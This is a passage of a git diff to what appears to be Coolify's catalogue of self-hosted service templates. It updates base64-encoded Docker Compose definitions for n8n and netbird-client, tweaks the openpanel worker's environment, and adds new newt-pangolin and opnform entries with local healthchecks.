bHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlc3FsLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9TVEdSRVNfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gUE9TVEdSRVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbjhufScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK",
+        "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICdkb2NrZXIubjhuLmlvL244bmlvL244bjoxLjExOS4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX044Tl81Njc4CiAgICAgIC0gJ044Tl9FRElUT1JfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnV0VCSE9PS19VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LUV1cm9wZS9CZXJsaW59JwogICAgICAtICdUWj0ke1RaOi1FdXJvcGUvQmVybGlufScKICAgICAgLSBEQl9UWVBFPXBvc3RncmVzZGIKICAgICAgLSAnREJfUE9TVEdSRVNEQl9EQVRBQkFTRT0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgICAtIERCX1BPU1RHUkVTREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QT1JUPTU0MzIKICAgICAgLSBEQl9QT1NUR1JFU0RCX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIERCX1BPU1RHUkVTREJfU0NIRU1BPXB1YmxpYwogICAgICAtIERCX1BPU1RHUkVTREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSAnTjhOX1JVTk5FUlNfRU5BQkxFRD0ke044Tl9SVU5ORVJTX0VOQUJMRUQ6LXRydWV9JwogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3Jlc3FsOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlc3FsLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9TVEdSRVNfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gUE9TVEdSRVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbjhufScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK",
         "tags": [
             "n8n",
             "workflow",
@@ -2642,7 +2642,7 @@
     "n8n": {
         "documentation": "https://n8n.io?utm_source=coolify.io",
         "slogan": "n8n is an extendable workflow automation tool.",
-        "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICdkb2NrZXIubjhuLmlvL244bmlvL244bjoxLjExNC40JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX044Tl81Njc4CiAgICAgIC0gJ044Tl9FRElUT1JfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnV0VCSE9PS19VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LUV1cm9wZS9CZXJsaW59JwogICAgICAtICdUWj0ke1RaOi1FdXJvcGUvQmVybGlufScKICAgICAgLSAnREJfU1FMSVRFX1BPT0xfU0laRT0ke0RCX1NRTElURV9QT09MX1NJWkU6LTN9JwogICAgICAtICdOOE5fUlVOTkVSU19FTkFCTEVEPSR7TjhOX1JVTk5FUlNfRU5BQkxFRDotdHJ1ZX0nCiAgICAgIC0gJ044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU9JHtOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFOi10cnVlfScKICAgICAgLSAnTjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUz0ke044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M6LXRydWV9JwogICAgICAtICdOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TPSR7TjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9QUk9YWV9IT1BTPSR7TjhOX1BST1hZX0hPUFM6LTF9JwogICAgdm9sdW1lczoKICAgICAgLSAnbjhuLWRhdGE6L2hvbWUvbm9kZS8ubjhuJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1Njc4LycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=",
+        "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICdkb2NrZXIubjhuLmlvL244bmlvL244bjoxLjExOS4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX044Tl81Njc4CiAgICAgIC0gJ044Tl9FRElUT1JfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnV0VCSE9PS19VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LUV1cm9wZS9CZXJsaW59JwogICAgICAtICdUWj0ke1RaOi1FdXJvcGUvQmVybGlufScKICAgICAgLSAnREJfU1FMSVRFX1BPT0xfU0laRT0ke0RCX1NRTElURV9QT09MX1NJWkU6LTN9JwogICAgICAtICdOOE5fUlVOTkVSU19FTkFCTEVEPSR7TjhOX1JVTk5FUlNfRU5BQkxFRDotdHJ1ZX0nCiAgICAgIC0gJ044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU9JHtOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFOi10cnVlfScKICAgICAgLSAnTjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUz0ke044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M6LXRydWV9JwogICAgICAtICdOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TPSR7TjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9QUk9YWV9IT1BTPSR7TjhOX1BST1hZX0hPUFM6LTF9JwogICAgdm9sdW1lczoKICAgICAgLSAnbjhuLWRhdGE6L2hvbWUvbm9kZS8ubjhuJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1Njc4LycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=",
         "tags": [
             "n8n",
             "workflow",
@@ -2689,7 +2689,7 @@
     "netbird-client": {
         "documentation": "https://docs.netbird.io/how-to/examples#net-bird-client-in-docker?utm_source=coolify.io",
         "slogan": "Connect your devices into a secure WireGuard\u00ae-based overlay network with SSO, MFA and granular access controls.",
-        "compose": "c2VydmljZXM6CiAgbmV0YmlyZC1jbGllbnQ6CiAgICBpbWFnZTogJ25ldGJpcmRpby9uZXRiaXJkOmxhdGVzdCcKICAgIGVudmlyb25tZW50OgogICAgICAtICdOQl9TRVRVUF9LRVk9JHtOQl9TRVRVUF9LRVl9JwogICAgICAtICdOQl9FTkFCTEVfUk9TRU5QQVNTPSR7TkJfRU5BQkxFX1JPU0VOUEFTUzotZmFsc2V9JwogICAgICAtICdOQl9FTkFCTEVfRVhQRVJJTUVOVEFMX0xBWllfQ09OTj0ke05CX0VOQUJMRV9FWFBFUklNRU5UQUxfTEFaWV9DT05OOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICduZXRiaXJkLWNsaWVudDovZXRjL25ldGJpcmQnCiAgICBjYXBfYWRkOgogICAgICAtIE5FVF9BRE1JTgogICAgICAtIFNZU19BRE1JTgogICAgICAtIFNZU19SRVNPVVJDRQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG5ldGJpcmQKICAgICAgICAtIHZlcnNpb24KICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=",
+        "compose": "c2VydmljZXM6CiAgbmV0YmlyZC1jbGllbnQ6CiAgICBpbWFnZTogJ25ldGJpcmRpby9uZXRiaXJkOmxhdGVzdCcKICAgIG5ldHdvcmtfbW9kZTogaG9zdAogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ05CX1NFVFVQX0tFWT0ke05CX1NFVFVQX0tFWX0nCiAgICAgIC0gJ05CX0VOQUJMRV9ST1NFTlBBU1M9JHtOQl9FTkFCTEVfUk9TRU5QQVNTOi1mYWxzZX0nCiAgICAgIC0gJ05CX0VOQUJMRV9FWFBFUklNRU5UQUxfTEFaWV9DT05OPSR7TkJfRU5BQkxFX0VYUEVSSU1FTlRBTF9MQVpZX0NPTk46LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ25ldGJpcmQtY2xpZW50Oi9ldGMvbmV0YmlyZCcKICAgIGNhcF9hZGQ6CiAgICAgIC0gTkVUX0FETUlOCiAgICAgIC0gU1lTX0FETUlOCiAgICAgIC0gU1lTX1JFU09VUkNFCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gbmV0YmlyZAogICAgICAgIC0gdmVyc2lvbgogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==",
         "tags": [
             "wireguard",
             "mesh-networks",
@@ -2717,6 +2717,20 @@
         "minversion": "0.0.0",
         "port": "3000"
     },
+    "newt-pangolin": {
+        "documentation": "https://docs.digpangolin.com/manage/sites/install-site?utm_source=coolify.io",
+        "slogan": "Pangolin tunnels your services to the internet so you can access anything from anywhere.",
+        "compose": "c2VydmljZXM6CiAgbmV3dDoKICAgIGltYWdlOiAnZm9zcmwvbmV3dDpsYXRlc3QnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUEFOR09MSU5fRU5EUE9JTlQ9JHtQQU5HT0xJTl9FTkRQT0lOVDotaHR0cHM6Ly9wYW5nb2xpbi5kb21haW4udGxkfScKICAgICAgLSAnTkVXVF9JRD0ke05FV1RfSUQ6P30nCiAgICAgIC0gJ05FV1RfU0VDUkVUPSR7TkVXVF9TRUNSRVQ6P30nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gbmV3dAogICAgICAgIC0gJy0tdmVyc2lvbicKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=",
+        "tags": [
+            "wireguard",
+            "reverse-proxy",
+            "zero-trust-network-access",
+            "open source"
+        ],
+        "category": null,
+        "logo": "svgs/pangolin-logo.png",
+        "minversion": "0.0.0"
+    },
     "next-image-transformation": {
         "documentation": "https://github.com/coollabsio/next-image-transformation?utm_source=coolify.io",
         "slogan": "Drop-in replacement for Vercel's Nextjs image optimization service.",
@@ -3039,7 +3053,7 @@
     "openpanel": {
         "documentation": "https://openpanel.dev/docs?utm_source=coolify.io",
         "slogan": "Open source alternative to Mixpanel and Plausible for product analytics",
-        "compose": "services:
  openpanel-dashboard:
    image: 'lindesvard/openpanel-dashboard:latest'
    environment:
      - NODE_ENV=production
      - NEXT_PUBLIC_SELF_HOSTED=true
      - SERVICE_FQDN_OPDASHBOARD_3000
      - 'NEXT_PUBLIC_API_URL=${SERVICE_FQDN_OPAPI}'
      - 'NEXT_PUBLIC_DASHBOARD_URL=${SERVICE_FQDN_OPDASHBOARD}'
      - 'DATABASE_URL=postgres://${SERVICE_USER_POSTGRES}:${SERVICE_PASSWORD_POSTGRES}@postgres:5432/${OPENPANEL_POSTGRES_DB:-openpanel-db}?schema=public'
      - 'REDIS_URL=redis://default:${SERVICE_PASSWORD_REDIS}@redis:6379'
      - 'CLICKHOUSE_URL=http://clickhouse:8123/openpanel'
    depends_on:
      openpanel-api:
        condition: service_healthy
      openpanel-worker:
        condition: service_healthy
      postgres:
        condition: service_healthy
      redis:
        condition: service_healthy
      clickhouse:
        condition: service_healthy
    healthcheck:
      test:
        - CMD-SHELL
        - 'curl -f http://localhost:3000/api/healthcheck || exit 1'
      interval: 10s
      timeout: 5s
      retries: 5
      start_period: 15s
  openpanel-api:
    image: 'lindesvard/openpanel-api:latest'
    command: "sh -c \"\n  echo 'Running migrations...'\n  CI=true pnpm -r run migrate:deploy\n\n  pnpm start\n\"\n"
    environment:
      - NODE_ENV=production
      - NEXT_PUBLIC_SELF_HOSTED=true
      - SERVICE_FQDN_OPAPI
      - 'NEXT_PUBLIC_API_URL=${SERVICE_FQDN_OPAPI}'
      - 'NEXT_PUBLIC_DASHBOARD_URL=${SERVICE_FQDN_OPDASHBOARD}'
      - 'DATABASE_URL=postgres://${SERVICE_USER_POSTGRES}:${SERVICE_PASSWORD_POSTGRES}@postgres:5432/${OPENPANEL_POSTGRES_DB:-openpanel-db}?schema=public'
      - 'DATABASE_URL_DIRECT=postgres://${SERVICE_USER_POSTGRES}:${SERVICE_PASSWORD_POSTGRES}@postgres:5432/${OPENPANEL_POSTGRES_DB:-openpanel-db}?schema=public'
      - 'REDIS_URL=redis://default:${SERVICE_PASSWORD_REDIS}@redis:6379'
      - 'CLICKHOUSE_URL=http://clickhouse:8123/openpanel'
      - 'COOKIE_SECRET=${SERVICE_BASE64_COOKIESECRET}'
      - 'ALLOW_REGISTRATION=${OPENPANEL_ALLOW_REGISTRATION:-false}'
      - 'ALLOW_INVITATION=${OPENPANEL_ALLOW_INVITATION:-false}'
      - 'EMAIL_SENDER=${OPENPANEL_EMAIL_SENDER}'
      - 'RESEND_API_KEY=${RESEND_API_KEY}'
    depends_on:
      postgres:
        condition: service_healthy
      clickhouse:
        condition: service_healthy
      redis:
        condition: service_healthy
    healthcheck:
      test:
        - CMD-SHELL
        - 'curl -f http://localhost:3000/healthcheck || exit 1'
      interval: 10s
      timeout: 5s
      retries: 5
  openpanel-worker:
    image: 'lindesvard/openpanel-worker:latest'
    environment:
      - NODE_ENV=production
      - NEXT_PUBLIC_SELF_HOSTED=true
      - SERVICE_FQDN_OPBULLBOARD
      - 'NEXT_PUBLIC_API_URL=${SERVICE_FQDN_OPAPI}'
      - 'DATABASE_URL=postgres://${SERVICE_USER_POSTGRES}:${SERVICE_PASSWORD_POSTGRES}@postgres:5432/${OPENPANEL_POSTGRES_DB:-openpanel-db}?schema=public'
      - 'DATABASE_URL_DIRECT=postgres://${SERVICE_USER_POSTGRES}:${SERVICE_PASSWORD_POSTGRES}@postgres:5432/${OPENPANEL_POSTGRES_DB:-openpanel-db}?schema=public'
      - 'REDIS_URL=redis://default:${SERVICE_PASSWORD_REDIS}@redis:6379'
      - 'CLICKHOUSE_URL=http://clickhouse:8123/openpanel'
    depends_on:
      openpanel-api:
        condition: service_healthy
      postgres:
        condition: service_healthy
      redis:
        condition: service_healthy
      clickhouse:
        condition: service_healthy
    healthcheck:
      test:
        - CMD-SHELL
        - 'curl -f http://localhost:3000/healthcheck || exit 1'
      interval: 10s
      timeout: 5s
      retries: 5
      start_period: 5s
  postgres:
    image: 'postgres:16-alpine'
    volumes:
      - 'openpanel_postgres_data:/var/lib/postgresql/data'
    environment:
      - 'POSTGRES_DB=${OPENPANEL_POSTGRES_DB:-openpanel-db}'
      - 'POSTGRES_USER=${SERVICE_USER_POSTGRES}'
      - 'POSTGRES_PASSWORD=${SERVICE_PASSWORD_POSTGRES}'
    healthcheck:
      test:
        - CMD-SHELL
        - 'pg_isready -U $${POSTGRES_USER} -d $${POSTGRES_DB}'
      interval: 10s
      timeout: 5s
      retries: 5
  redis:
    image: 'redis:7.4-alpine'
    volumes:
      - 'openpanel_redis_data:/data'
    environment:
      - 'REDIS_PASSWORD=${SERVICE_PASSWORD_REDIS}'
    command: 'redis-server --requirepass ${SERVICE_PASSWORD_REDIS} --maxmemory-policy noeviction'
    healthcheck:
      test:
        - CMD
        - redis-cli
        - '-a'
        - '${SERVICE_PASSWORD_REDIS}'
        - ping
      interval: 10s
      timeout: 5s
      retries: 5
  clickhouse:
    image: 'clickhouse/clickhouse-server:24.3.2-alpine'
    volumes:
      - 'openpanel_clickhouse_data:/var/lib/clickhouse'
      - 'openpanel_clickhouse_logs:/var/log/clickhouse-server'
      -
        type: bind
        source: ./clickhouse-config.xml
        target: /etc/clickhouse-server/config.d/op-config.xml
        read_only: true
        content: "<clickhouse>\n    <logger>\n        <level>warning</level>\n        <console>true</console>\n    </logger>\n    <keep_alive_timeout>10</keep_alive_timeout>\n    <!-- Stop all the unnecessary logging -->\n    <query_thread_log remove=\"remove\"/>\n    <query_log remove=\"remove\"/>\n    <text_log remove=\"remove\"/>\n    <trace_log remove=\"remove\"/>\n    <metric_log remove=\"remove\"/>\n    <asynchronous_metric_log remove=\"remove\"/>\n    <session_log remove=\"remove\"/>\n    <part_log remove=\"remove\"/>\n    <listen_host>0.0.0.0</listen_host>\n    <interserver_listen_host>0.0.0.0</interserver_listen_host>\n    <interserver_http_host>opch</interserver_http_host>\n    <!-- Disable cgroup memory observer -->\n    <cgroups_memory_usage_observer_wait_time>0</cgroups_memory_usage_observer_wait_time>\n    <!-- Not used anymore, but kept for backwards compatibility -->\n    <macros>\n        <shard>1</shard>\n        <replica>replica1</replica>\n        <cluster>openpanel_cluster</cluster>\n    </macros>\n</clickhouse>"
      -
        type: bind
        source: ./clickhouse-user-config.xml
        target: /etc/clickhouse-server/users.d/op-user-config.xml
        read_only: true
        content: "<clickhouse>\n    <profiles>\n        <default>\n            <log_queries>0</log_queries>\n            <log_query_threads>0</log_query_threads>\n        </default>\n    </profiles>\n</clickhouse>\n"
      -
        type: bind
        source: ./init-db.sh
        target: /docker-entrypoint-initdb.d/init-db.sh
        content: "#!/bin/sh\nset -e\n\nclickhouse client -n <<-EOSQL\n  CREATE DATABASE IF NOT EXISTS openpanel;\nEOSQL"
    ulimits:
      nofile:
        soft: 262144
        hard: 262144
    healthcheck:
      test:
        - CMD-SHELL
        - 'clickhouse-client --query "SELECT 1"'
      interval: 10s
      timeout: 5s
      retries: 5
",
+        "compose": "services:
  openpanel-dashboard:
    image: 'lindesvard/openpanel-dashboard:latest'
    environment:
      - NODE_ENV=production
      - NEXT_PUBLIC_SELF_HOSTED=true
      - SERVICE_FQDN_OPDASHBOARD_3000
      - 'NEXT_PUBLIC_API_URL=${SERVICE_FQDN_OPAPI}'
      - 'NEXT_PUBLIC_DASHBOARD_URL=${SERVICE_FQDN_OPDASHBOARD}'
      - 'DATABASE_URL=postgres://${SERVICE_USER_POSTGRES}:${SERVICE_PASSWORD_POSTGRES}@postgres:5432/${OPENPANEL_POSTGRES_DB:-openpanel-db}?schema=public'
      - 'REDIS_URL=redis://default:${SERVICE_PASSWORD_REDIS}@redis:6379'
      - 'CLICKHOUSE_URL=http://clickhouse:8123/openpanel'
    depends_on:
      openpanel-api:
        condition: service_healthy
      openpanel-worker:
        condition: service_healthy
      postgres:
        condition: service_healthy
      redis:
        condition: service_healthy
      clickhouse:
        condition: service_healthy
    healthcheck:
      test:
        - CMD-SHELL
        - 'curl -f http://localhost:3000/api/healthcheck || exit 1'
      interval: 10s
      timeout: 5s
      retries: 5
      start_period: 15s
  openpanel-api:
    image: 'lindesvard/openpanel-api:latest'
    command: "sh -c \"\n  echo 'Running migrations...'\n  CI=true pnpm -r run migrate:deploy\n\n  pnpm start\n\"\n"
    environment:
      - NODE_ENV=production
      - NEXT_PUBLIC_SELF_HOSTED=true
      - SERVICE_FQDN_OPAPI
      - 'NEXT_PUBLIC_API_URL=${SERVICE_FQDN_OPAPI}'
      - 'NEXT_PUBLIC_DASHBOARD_URL=${SERVICE_FQDN_OPDASHBOARD}'
      - 'DATABASE_URL=postgres://${SERVICE_USER_POSTGRES}:${SERVICE_PASSWORD_POSTGRES}@postgres:5432/${OPENPANEL_POSTGRES_DB:-openpanel-db}?schema=public'
      - 'DATABASE_URL_DIRECT=postgres://${SERVICE_USER_POSTGRES}:${SERVICE_PASSWORD_POSTGRES}@postgres:5432/${OPENPANEL_POSTGRES_DB:-openpanel-db}?schema=public'
      - 'REDIS_URL=redis://default:${SERVICE_PASSWORD_REDIS}@redis:6379'
      - 'CLICKHOUSE_URL=http://clickhouse:8123/openpanel'
      - 'COOKIE_SECRET=${SERVICE_BASE64_COOKIESECRET}'
      - 'ALLOW_REGISTRATION=${OPENPANEL_ALLOW_REGISTRATION:-false}'
      - 'ALLOW_INVITATION=${OPENPANEL_ALLOW_INVITATION:-false}'
      - 'EMAIL_SENDER=${OPENPANEL_EMAIL_SENDER}'
      - 'RESEND_API_KEY=${RESEND_API_KEY}'
    depends_on:
      postgres:
        condition: service_healthy
      clickhouse:
        condition: service_healthy
      redis:
        condition: service_healthy
    healthcheck:
      test:
        - CMD-SHELL
        - 'curl -f http://localhost:3000/healthcheck || exit 1'
      interval: 10s
      timeout: 5s
      retries: 5
  openpanel-worker:
    image: 'lindesvard/openpanel-worker:latest'
    environment:
      - 'DISABLE_BULLBOARD=${DISABLE_BULLBOARD:-1}'
      - NODE_ENV=production
      - NEXT_PUBLIC_SELF_HOSTED=true
      - SERVICE_FQDN_OPBULLBOARD
      - 'NEXT_PUBLIC_API_URL=${SERVICE_FQDN_OPAPI}'
      - 'DATABASE_URL=postgres://${SERVICE_USER_POSTGRES}:${SERVICE_PASSWORD_POSTGRES}@postgres:5432/${OPENPANEL_POSTGRES_DB:-openpanel-db}?schema=public'
      - 'DATABASE_URL_DIRECT=postgres://${SERVICE_USER_POSTGRES}:${SERVICE_PASSWORD_POSTGRES}@postgres:5432/${OPENPANEL_POSTGRES_DB:-openpanel-db}?schema=public'
      - 'REDIS_URL=redis://default:${SERVICE_PASSWORD_REDIS}@redis:6379'
      - 'CLICKHOUSE_URL=http://clickhouse:8123/openpanel'
    depends_on:
      openpanel-api:
        condition: service_healthy
      postgres:
        condition: service_healthy
      redis:
        condition: service_healthy
      clickhouse:
        condition: service_healthy
    healthcheck:
      test:
        - CMD-SHELL
        - 'curl -f http://localhost:3000/healthcheck || exit 1'
      interval: 10s
      timeout: 5s
      retries: 5
      start_period: 5s
  postgres:
    image: 'postgres:16-alpine'
    volumes:
      - 'openpanel_postgres_data:/var/lib/postgresql/data'
    environment:
      - 'POSTGRES_DB=${OPENPANEL_POSTGRES_DB:-openpanel-db}'
      - 'POSTGRES_USER=${SERVICE_USER_POSTGRES}'
      - 'POSTGRES_PASSWORD=${SERVICE_PASSWORD_POSTGRES}'
    healthcheck:
      test:
        - CMD-SHELL
        - 'pg_isready -U $${POSTGRES_USER} -d $${POSTGRES_DB}'
      interval: 10s
      timeout: 5s
      retries: 5
  redis:
    image: 'redis:7.4-alpine'
    volumes:
      - 'openpanel_redis_data:/data'
    environment:
      - 'REDIS_PASSWORD=${SERVICE_PASSWORD_REDIS}'
    command: 'redis-server --requirepass ${SERVICE_PASSWORD_REDIS} --maxmemory-policy noeviction'
    healthcheck:
      test:
        - CMD
        - redis-cli
        - '-a'
        - '${SERVICE_PASSWORD_REDIS}'
        - ping
      interval: 10s
      timeout: 5s
      retries: 5
  clickhouse:
    image: 'clickhouse/clickhouse-server:24.3.2-alpine'
    volumes:
      - 'openpanel_clickhouse_data:/var/lib/clickhouse'
      - 'openpanel_clickhouse_logs:/var/log/clickhouse-server'
      -
        type: bind
        source: ./clickhouse-config.xml
        target: /etc/clickhouse-server/config.d/op-config.xml
        read_only: true
        content: "<clickhouse>\n    <logger>\n        <level>warning</level>\n        <console>true</console>\n    </logger>\n    <keep_alive_timeout>10</keep_alive_timeout>\n    <!-- Stop all the unnecessary logging -->\n    <query_thread_log remove=\"remove\"/>\n    <query_log remove=\"remove\"/>\n    <text_log remove=\"remove\"/>\n    <trace_log remove=\"remove\"/>\n    <metric_log remove=\"remove\"/>\n    <asynchronous_metric_log remove=\"remove\"/>\n    <session_log remove=\"remove\"/>\n    <part_log remove=\"remove\"/>\n    <listen_host>0.0.0.0</listen_host>\n    <interserver_listen_host>0.0.0.0</interserver_listen_host>\n    <interserver_http_host>opch</interserver_http_host>\n    <!-- Disable cgroup memory observer -->\n    <cgroups_memory_usage_observer_wait_time>0</cgroups_memory_usage_observer_wait_time>\n    <!-- Not used anymore, but kept for backwards compatibility -->\n    <macros>\n        <shard>1</shard>\n        <replica>replica1</replica>\n        <cluster>openpanel_cluster</cluster>\n    </macros>\n</clickhouse>"
      -
        type: bind
        source: ./clickhouse-user-config.xml
        target: /etc/clickhouse-server/users.d/op-user-config.xml
        read_only: true
        content: "<clickhouse>\n    <profiles>\n        <default>\n            <log_queries>0</log_queries>\n            <log_query_threads>0</log_query_threads>\n        </default>\n    </profiles>\n</clickhouse>\n"
      -
        type: bind
        source: ./init-db.sh
        target: /docker-entrypoint-initdb.d/init-db.sh
        content: "#!/bin/sh\nset -e\n\nclickhouse client -n <<-EOSQL\n  CREATE DATABASE IF NOT EXISTS openpanel;\nEOSQL"
    ulimits:
      nofile:
        soft: 262144
        hard: 262144
    healthcheck:
      test:
        - CMD-SHELL
        - 'clickhouse-client --query "SELECT 1"'
      interval: 10s
      timeout: 5s
      retries: 5
",
         "tags": [
             "analytics",
             "insights",
@@ -3054,6 +3068,26 @@
         "minversion": "0.0.0",
         "port": "3000"
     },
+    "opnform": {
+        "documentation": "https://docs.opnform.com/introduction?utm_source=coolify.io",
+        "slogan": "OpnForm is an open-source form builder that lets you create beautiful forms and share them anywhere. It's super fast, you don't need to know how to code",
+        "compose": "x-shared-env:
  APP_NAME: OpnForm
  APP_ENV: production
  APP_KEY: '${SERVICE_BASE64_APIKEY}'
  APP_DEBUG: '${APP_DEBUG:-false}'
  APP_URL: '${SERVICE_FQDN_NGINX}'
  LOG_CHANNEL: errorlog
  LOG_LEVEL: '${LOG_LEVEL:-debug}'
  FILESYSTEM_DRIVER: '${FILESYSTEM_DRIVER:-local}'
  LOCAL_FILESYSTEM_VISIBILITY: public
  CACHE_DRIVER: redis
  QUEUE_CONNECTION: redis
  SESSION_DRIVER: redis
  SESSION_LIFETIME: 120
